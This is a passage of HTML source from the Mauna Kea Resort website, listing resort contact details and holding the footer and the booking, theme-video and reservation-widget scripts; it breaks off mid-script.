4141<p><strong>Phone:</strong> <a href="tel:1-808-882-5630" aria-label="Call at (808) 882-5630">(808) 882-5420</a><br /><strong>Online: </strong><a href="/mauna-kea-beach-hotel/golf-and-tennis/tennis-and-pickleball" title="MK Seaside Racquet Club" target="_blank" rel="noopener">Mauna Kea Seaside Racquet Club</a></p>
4142</div>
4143<div class="item">
4144<h4>Mauna Kea Concierge</h4>
4145<h4>(Activities and Dining)</h4>
4146<p><strong>Phone:</strong> <a href="tel:1-808-882-5707" aria-label="Call at (808) 882-5707">(808) 882-5707</a><br /><strong>Email:</strong> <a href="/cdn-cgi/l/email-protection#771a16021916141819141e12051012371a160219161c1216151216141f1f1803121b5914181a" aria-label="Email at [email protected]"><span class="__cf_email__" data-cfemail="dcb1bda9b2bdbfb3b2bfb5b9aebbb99cb1bda9b2bdb7b9bdbeb9bdbfb4b4b3a8b9b0f2bfb3b1">[email&#160;protected]</span></a></p>
4147</div>
4148<div class="item">
4149<h4>The Westin Concierge</h4>
4150<h4>(Activities and Dining)</h4>
4151<p><strong>Phone:</strong> <a href="tel:1-808-880-3430" aria-label="Call at (808) 880-3430">(808) 880-3430</a></p>
4152<h6><strong>Email:</strong> <a href="/[email protected]"><span class="__cf_email__" data-cfemail="0a626b7a7f646b69656469636f786d6f4a7d6f797e6364626b7a7f646b686f6b696224696567">[email&#160;protected]</span></a></h6>
4153</div>
4154<div class="item">
4155<h4>Mauna Kea Beach Hotel, autograph collection</h4>
4156<p>62-100 Mauna Kea Beach Drive<br />Kohala Coast, Hawaii 96743<br /><strong>Hotel Direct Phone:</strong> &nbsp;<a href="tel:1-808-882-7222" aria-label="Call at (808) 882-7222">(808) 882-7222</a></p>
4157</div>
4158<div class="item">
4159<h4>The Westin Hapuna Beach Resort</h4>
4160<p>62-100 Kauna'oa Drive<br />Kohala Coast, Hawaii 96743<br /><strong>Hotel Direct Phone:</strong> <a href="tel:1-808-880-1111" aria-label="Call at (808) 880-1111">(808) 880-1111</a></p>
4161</div>
4162</div>
4163<div class="grid-boxes">
4164<div class="item item-a">
4165<h4>Resort Onsite Photography</h4>
4166<p><strong>Pacific Dream Photography (located at Mauna Kea Beach Hotel)</strong><br /><strong>Phone:</strong> <a href="tel:1-808-882-5210" aria-label="Call at (808) 882-5210">(808) 882-5210</a><br /><strong>Email:</strong> <a href="/cdn-cgi/l/email-protection#81e8efe7eec1f1e0e2e8e7e8e2e5f3e4e0ecf1e9eef5eee6f3e0f1e9f8afe2eeec" aria-label="Email at [email protected]"><span class="__cf_email__" data-cfemail="e48d8a828ba49485878d828d878096818589948c8b908b839685948c9dca878b89">[email&#160;protected]</span></a><br /><strong>Online:</strong> <a href="https://www.pacificdreamphotography.com/mauna-kea-resort
4166-spa#location" title="Pacific Dream Photography">Pacific Dream Photography at Mauna Kea Beach Hotel</a></p>
4167<p><strong>Hawaii Family Portraits (located at Westin Hapuna Beach Resort)<br /></strong><strong>Phone:</strong> <a href="tel:1-808-726-2340" aria-label="Call at (808) 726-2340">(808) 215-9042</a><br /><strong>Email:</strong> <a href="/cdn-cgi/l/email-protection#3970575f567951584e5850505f585450554049564b4d4b58504d4a175a5654" aria-label="Email at [email protected]"><span class="__cf_email__" data-cfemail="1970777f765971786e7870707f787470756069766b6d6b78706d6a377a7674">[email&#160;protected]</span></a><br /><strong>Online:</strong> <a href="https://www.hawaiifamilyportraits.com/mauna-kea-resort-photographer" target="_blank" rel="noopener">Hawaii Family Portraits at The Westin Hapuna Beach Resort</a></p>
4168</div>
4169<div class="item item-b">
4170<h4>Mauna Kea Salon</h4>
4171<p><strong>Call for appointment:</strong> <a href="tel:1-808-882-5430" aria-label="Call at (808) 882-5430">(808) 882-5430</a><br /><strong>Open Daily:</strong> 9:00 am &ndash; 5:00pm<br /><strong>Online:</strong> <a href="/play/wellness/spa-salon" title="Mauna Kea Salon">Mauna Kea Salon</a></p>
4172</div>
4173<div class="item item-c">
4174<h4>Mauna Kea Resort Sales Offices</h4>
4175<p><strong>Toll-Free:</strong> <a href="tel:1-800-735-1111" aria-label="Call at 1-800-735-1111">1-800-735-1111</a><br /><strong>Sales Office:</strong> Leisure &amp; Group: <a href="tel:1-808-318-7740" aria-label="Call at 1-800-735-1111">1-800-735-1111</a><br /><strong>Group Sales Phone:</strong> <a href="tel:1-800-447-7621" aria-label="Call at 1-800-447-7621">1-800-447-7621</a><br /><strong>Asia-Pacific Sales Phone:</strong> <a href="tel:1-808-944-4406" aria-label="Call at (808) 944-4406">(808) 944-4406</a><br /><strong>Email:</strong> <a href="/cdn-cgi/l/email-protection#4132202d2432012c20342f202a24203324322e33356f2f2435" aria-label="Email at [email protected]"><span class="__cf_email__" data-cfemail="7c0f1d10190f3c111d09121d17191d0e190f130e0852121908">[email&#160;protected]</span></a><br /><strong>Weddings Email: </strong><a href="/cdn-cgi/l/email-protection#63110c0e020d0006230e02160d020806021106100c11174d0d0617" aria-label="Email at [email protected]"><span class="__cf_email__" data-cfemail="b9cbd6d4d8d7dadcf9d4d8ccd7d8d2dcd8cbdccad6cbcd97d7dccd">[email&#160;protected]</span></a>&nbsp;</p>
4176</div>
4177</div></div>
4178
4179             
4180        </div>
4181    </div>
4182     
4183
4184    <div class="inner">
4185        <div class="hdm-content" hdmType="HtmlEditable" id="Field_3_972"></div>    
4186    </div>
4187 
4188</main>
4189
4190
4191        <style>.ftr-logo{width:206px;height:84px;overflow:hidden}.ftr-logo svg{width:100%;height:100%}</style>
4192
4193
4194
4195
4196<footer class="site-footer" role="contentinfo">
4197	
4198
4199<div class="eclub">
4200	<form class="eclub-form" method="post" action="/email-signup">
4201		<fieldset>
4202			<legend>Let's stay in touch</legend>
4203			<div class="field">
4204				<label for="eclubEmail" class="ada-hidden">Enter your email</label>
4205				<input type="email" placeholder="Enter your email" name="eclubEmail" id="eclubEmail">
4206			</div>
4207		</fieldset>
4208		<input type="submit" value="Sign Up">
4209	</form>
4210	<div class="footer-logos">
4211		<a href="http://www.virtuoso.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/vir-logo-member-300.png" alt="Virtuoso Memeber" width="100"  class="footer-logo travelers"></a>
4212		<a href="https://www.signaturetravelnetwork.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/Sig_Logo-300.png" alt="Signture travel network" width="100" class="footer-logo travelers"></a>
4213		<a href="http://www.stars.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/luminous-300.png" alt="Marriott International Luminous" width="100" class="footer-logo travelers"></a>
4214		<a href="https://internovatravel.com/hotel/a2o0y000005JIXlAAO/Mauna-Kea-Beach-Hotel%2C-Autograph-Collection" target="_blank" class="footer-logo"><img loading="lazy"src="/images/layout/logos/select-300.png" alt="Select" width="100" class="footer-logo travelers"></a>
4215		<a href="https://hotelexcellence.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/hotel-excellence-tall-600.png" alt="Hotel Excellence" width="100" class="footer-logo travelers"></a>
4216		<a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/layout/logos/proud-partner.png" alt="proud partner of ensemble" width="130" class="footer-logo travelers"></a>
4217
4218		<a href="https://newsroom.aaa.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/AAA-tall-300.png" alt="AAA four diamond" width="100" class="footer-logo travelers"></a>
4219		<a href="https://www.tripadvisor.com/TravelersChoice" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/TC-2023-300.png" alt="2023 Traveler's Choice" width="100" class="footer-logo travelers"></a>
4220		<a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/envoy-logo-trademarked-300.png" alt="ENVOY" width="100" class="footer-logo travelers"></a>
4221		<a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/tesla-300.png" alt="Tesla" width="100" class="footer-logo travelers"></a>
4222		<a href="https://www.maunakearesort.com/play/gopro-experience" class="footer-logo" aria-label="Go Pro"><img loading="lazy" src="/images/layout/logos/gopro--300.png" alt="Go Pro" width="100" class="footer-logo travelers"></a>
4223		<a href="https://www.winespectator.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/wslogo-300.png" alt="Wine Spectator" width="100" class="footer-logo travelers"></a>
4224	    <a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/maunakeabeachhotel/content/logos/CNT-US-RCA-2025.png" alt="Conde Nast Traveler" width="120" class="footer-logo travelers"></a>
4225	</div>
4226</div>
4227
4228
4229
4230
4231
4232	<div class="ftr-top">
4233		<div><i class="icon-location"></i> <span class="mobile-break">62-100 Kauna&#39;oa Drive,</span> Kohala Coast, HI 96743</div>
4234		<div><span class="mobile-break">Room Reservations:</span> <a href="tel:1-877-880-6524">1-877-880-6524</a></div>
4235		<div><span class="mobile-break">Mauna Kea Beach Hotel Direct:</span> <a href="tel:1-808-882-7222">1-808-882-7222</a></div>
4236		<div><span class="mobile-break">The Westin Hapuna Direct:</span> <a href="tel:1-808-880-1111">1-808-880-1111</a></div>
4237	</div>
4238	<div class="ftr-bottom">
4239		<div class="cf inner flex">
4240			<div class="col-1">
4241				<div class="ftr-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>
4241Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
42417a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div>
4242				<ul class="unstyled-list ftr-social">
4243					<li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Facebook"><i class="icon-facebook"></i></a></li>
4244					<li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Instagram"><i class="icon-instagram"></i></a></li>
4245				</ul>
4246			</div>
4247			<div class="col-2">
4248				<div class="two-col ftr-links">
4249					<ul class="unstyled-list">
4250						<li><a href="/careers">Careers</a></li>
4251						<li><a href="/press-room">Press Room</a></li>
4252						<li><a href="/stay/accessible-rooms">ADA</a></li>
4253						<li><a href="/contact">Contact Us</a></li>
4254						<li><a href="/directions">Directions</a></li>
4255						<li><a href="/policies">Policies</a></li>
4256            <li><a href="/culture/sustainability">Sustainability</a></li>
4257            <li><a href="/stay/laundry-valet">Hapuna Laundry</a></li>
4258						<li><a href="https://www.alohasothebysrealty.com/" target="_blank" rel="nofollow">Aloha Sotheby&#39;s</a></li>
4259						<li><a href="https://eastwest.com/places/maunakea/" target="_blank" rel="nofollow">East West Hospitality</a></li>
4260						<li><a href="https://www.marriott.com/loyalty.mi" target="_blank" rel="noopener">Marriott Bonvoy</a></li>
4261						<li><a href="https://travelagents.princeresortshawaii.com/" target="_blank" rel="noopener">Travel Agents</a></li>
4262						<li><button id="ot-sdk-btn" class="ot-sdk-show-settings">Cookie Settings</button></li>
4263					</ul>
4264				</div>
4265			</div>
4266
4267			<div class="col-3">
4268				<div class="two-col ftr-links">
4269					<ul class="unstyled-list">
4270          		<li class="c-logo"><a href="https://www.marriott.com/loyalty.mi?scid=d4e4bc07-f4b0-42de-a21c-dead4579f390" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/bonvoy-white.png" width="122" height="35" alt="Bonvoy"></a></li>
4271					    <li class="c-logo l-mar"><a href="https://www.marriott.com/en-us/hotels/koaak-mauna-kea-beach-hotel-autograph-collection/overview/" target="_blank" rel="noopener"><img class="autograph" loading="lazy" src="/images/layout/logos/autograph.png" width="115" height="52" alt="autograph"></a></li>
4272          	  <li class="c-logo"><a href="https://www.marriott.com/en-us/hotels/koawi-the-westin-hapuna-beach-resort/overview/" target="_blank" rel="noopener"> <img loading="lazy" src="/images/layout/logos/westin.png" width="107" height="35" alt="westin"></a></li>
4273              
4274					    <li class="c-logo l-mar"><a href="https://www.seibuprince.com/" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/seibu-prince-logo.png" width="106" height="82" alt="Seibu Prince Hotels & Resorts"></a></li>
4275					</ul>
4276				</div>
4277			</div>
4278
4279		</div>	
4280	</div>
4281
4282	<div class="footer-bg">
4283		<video id="footer-video" class="object-fit" preload="none" muted loop playsinline width="640" height="360" data-dawn-src="/videos/ftr-dawn.mp4" data-dusk-src="/videos/ftr-dusk.mp4">
4284			<source src="/videos/ftr-dawn.mp4">
4285		</video>
4286	</div>
vendor: 113 bytes, lines 4286-4288
4286
4287
4288	<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
4288<script>
4289		_hdmq.add(function(){
4290
4291			observeBgVideo('#footer-video', '.site-footer');
4292
4293		});
4294	</script>
4294
4295
4296
4297
4298</footer>
4299        <!-- scripts -->
4300        
4301        
4302        
4302<script>
4303            var loadDeferredStyles = function () {
4304                var addStylesNode = document.getElementById("deferred-styles");
4305                var textContent = addStylesNode.textContent;
4306                addStylesNode.parentElement.removeChild(addStylesNode);
4307                var replacement = document.createElement("div");
4308                replacement.innerHTML = textContent;
4309                document.body.appendChild(replacement);
4310            };
4311            //this could go in a bundle too. Can't go in top because want to not process until now 
4312            //you can check for blocking by checking network tab on chrome dev tools and see if whatever download comes before or after the red line.
4313            //something is happening here to make the after css block 
4314            //ossilby some other blocking javascript loading?  So put this in
4315            //jquey pho queue and document on ready... doesnt work 
4316            //$(function(){
4317            //    $(document).ready(function(){
4318            //        document.body.appendChild(replacement); 
4319            //    });
4320            //});
4321            var raf = null;
4322            if (typeof requestAnimationFrame === "function") {
4323                raf = requestAnimationFrame;
4324            } else if (typeof mozRequestAnimationFrame === "function") {
4325                raf = mozRequestAnimationFrame;
4326            } else if (typeof webkitRequestAnimationFrame === "function") {
4327                raf = webkitRequestAnimationFrame;
4328            } else if (typeof msRequestAnimationFrame === "function") {
4329                raf = msRequestAnimationFrame;
4330            }
4331            if (raf) {
4332                raf(function() { window.setTimeout(loadDeferredStyles, 0); });
4333            } else {
4334                /*   for anyone who does have raf from above.  Except IE < 9 which can't see inside noscript tags. doesn't seem to load this, at least in emulation mode
4335                     That's whay there is the IE < 9 conditional next to noscript
4336                     when IE < 9 support is dropped put this in
4337                     else window.addEventListener('load', loadDeferredStyles);
4338                     from https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery#example
4339                     might be better if we just server side detect it
4340                */
4341                if (window.attachEvent) {
4342                    window.attachEvent('onload', loadDeferredStyles);
4343                } else {
4344                    window.addEventListener('load', loadDeferredStyles);
4345                }
4346                /* another way to just them in
4347                string styleTags = Styles.Render("~/css/after.css").ToHtmlString().Trim();
4348                foreach (LinkTag lt in deferredLinkTags) {
4349                    styleTags = styleTags + lt.GetTag().Trim();
4350                }*/
4351                /*
4352                console.log("loading after styles directly");
4353                loadDeferredStyles('<styleTags%>');
4354                */
4355            }
4356        </script>
4356
4357        
4358        
4358<script src="/js/js_client_bundle.js?v=y3Lq5KT4O1a5EwcAdGnHCYZ4hfaVuXNmAGJhOhrZTGk1" async ></script>
4358
4359
4360        
4361        
4361<script>
4362            ///////////////////////////
4363            
4364            (function(){
4365                var appendScripts = function(scripts) {
4366                    for (var i = 0; i < scripts.length; i++) {
4367                        var element = document.createElement("script");
4368                        element.src = scripts[i];
4369                        document.body.appendChild(element);
4370                    }
4371                }
4372
4373                var afterBodyLoad = function() {
4374                    
4375                    //////////////
4376                    
4377                    /////////////////////////
4378                    
4379                }
4380                var coreLoaded = function() {
4381                    //after core inline
4382                    (function(){function t(){const f=this,e=f.dataset.theme,i=document.querySelector("body"),r=$("#footer-video")[0];let u;t&&(i.classList.add("theme-loading"),n=!0,e==="dusk"?(i.classList.remove("dawn-active"),i.classList.add("dusk-active"),$(".theme-caption").empty().text("ahiahi"),u=$("#footer-video").data("dusk-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()):(i.classList.remove("dusk-active"),i.classList.add("dawn-active"),$(".theme-caption").empty().text("wana'ao"),u=$("#footer-video").data("dawn-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()),setTimeout(function(){n&&i.classList.remove("theme-loading")},3e3))}let n=!1;const i=document.querySelectorAll(".js-btn-theme"),r=Array.prototype.slice.call(i);r.forEach(function(n){n.addEventListener("click",t)})})(),function(){function r(){var n,i;t||(n=document.createElement("script"),n.type="text/javascript",n.src="//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false",i=document.querySelector(".dine-scripts"),i.prepend(n),t=!0)}function u(){$('.sb-col-2 a, .sb-col-2 button, .sb-col-2 input, .sb-col-2 select, .sb-col-2 .ot-dtp-picker-form input, .sb-col-2 .ot-dtp-picker-form select, .sb-col-2 [role="button"]').each(function(n,t){$(t).attr("tabindex",0)});$(".book-promo-slide").each(function(n,t){$(t).hasClass("active")&&$(t).find("a").attr("tabindex",0)})}function n(){$('#book a, #book button, #book input, #book select, #book .ot-dtp-picker-form input, .ot-dtp-picker-form select, #book [role="button"]').each(function(n,t){$(t).attr("tabindex",-1)})}function f(){let t=$("#staySelect"),i=t.val(),n=$(".mobile-book-notice");i=="KOAAK"?n.addClass("active"):n.removeClass("active")}function e(){let n=$("#g-recaptcha-response-100000");n.length&&$('<label for="g-recaptcha-response-100000">Response<\/label>').insertBefore(n)}let t=!1;$(".js-btn-reserve").off("click").on("click",function(){const t=$("body");if(t.removeClass("active-nav"),t.hasClass("book-active")){t.removeClass("book-active");try{n()}catch(i){console.log(i)}}else t.addClass("book-active"),setTimeout(function(){try{u();r()}catch(n){console.log(n)}},250)});$(".js-book-close").off("click").on("click",function(){const t=$("body");t.removeClass("active-nav");t.removeClass("book-active");n()});var i=$(".site-book .js-input");i.blur(function(){let n=$(this).val();n==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});i.each(function(){$(this).val()&&$(this).addClass("has-value")});$(".stay-form").submit(function(n){var t,i,r,u,e;n.preventDefault();t=this;i=$(t).attr("action");let f=$("#staySelect").val();r=$("#bookCheckIn").val();u=$("#bookCheckOut").val();try{HDMdataLayer.push({event:"custom",category:"Book",property:f,startdate:r,enddate:u,action:document.location.pathname,label:"Check Availability"})}catch(n){}f=="residences"?(e=$("#bookAdults").val(),$("#clusterCode").length>0&&$("#clusterCode").remove(),i="https://maunakearesidences.com/vacation-rentals/?guests="+e+"&start_date="+r+"&end_date="+u,setTimeout(function(){window.open(i,"_blank")},300)):($("#bookPromo").val()!=""?$(t).append('<input type="hidden" id="clusterCode" name="clusterCode" value="corp" />'):$("#clusterCode").length>0&&$("#clusterCode").remove(),setTimeout(function(){t.submit()},300))});document.addEventListener("keydown",function(n){const t=$("body");n.key==="Escape"&&t.hasClass("book-active")&&t.removeClass("book-active")});setTimeout(function(){n();e();f();$(".dine-scripts .ot-dtp-picker-selector").append('<i class="arrow"><\/i>')},1500)}();$LAB.script("/js/vendors/site/litepicker.js").wait().script("/js/vendors/site/litepicker.keyboard.js").wait(function(){function i(n){let t=n.nextElementSibling;while(t){if(window.getComputedStyle(t).display!=="none")return t;t=t.nextElementSibling}return null}const r=$("#bookCheckIn"),t=$("#bookCheckOut"),n=new Date;const f=new Litepicker({element:document.getElementById("bookCheckIn"),singleMode:!0,format:"MM/DD/YYYY",minDate:new 